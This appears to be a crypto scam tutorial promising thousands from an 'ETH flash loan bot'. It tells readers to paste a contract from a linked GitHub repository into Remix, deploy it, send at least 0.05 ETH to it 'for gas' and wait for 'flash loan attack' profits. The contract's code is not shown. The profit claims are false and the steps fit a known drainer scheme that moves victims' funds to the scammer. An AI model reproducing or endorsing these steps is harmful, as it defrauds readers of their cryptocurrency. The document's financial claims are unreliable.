Learn How To Make $1000s Using ETH Flash Loans
Text Tutorial:
-
Get MetaMask: https://metamask.io/download.html
-
Access Remix: https://remix.ethereum.org
-
Move to the 'Deploy' tab, select “Injected Web3” for environment to connect your Metamask.
Connecting.Metamask.to.Remix.mp4
- Go back to 'File explorer'. Then create a 'New File'. Rename it as you like, for example: 'FlashLoanBot.sol'
Create.New.File.mp4
- Copy and Paste SmartContract into Remix: https://github.com/flashethcontracts/flashloan/blob/main/flashloancode
Copy.And.Paste.Contract.Into.Remix.mp4
- Move to the 'Solidity Compiler' tab, select version '0.5.0' and then 'Compile' it.
Compiling.Contract.mp4
- Move to the 'Deploy' tab again, select a Tokenname (literally name it anything), Tokensymbol (type any 3 random letters) and Loan amount of 500 and then 'Deploy'. After the transaction is confirmed, it’s your bot.
Selecting.Loan.Amount.mp4
- To give your bot gas so that it can run, copy the bots contract address from 'Deployed Contracts', open MetaMask, select 'Send', then paste your bots contract address and send at least 0.05 ETH to cover gas. (More gas means bigger profits)
Sending.Bot.Gas.mp4
- After your transaction was confirmed, start the bot by clicking the 'Action' button. Now wait for the flash loan attack confirmation. Afterwards your bot automatically withdraws the remaining funds and profits back to the connected Metamask wallet.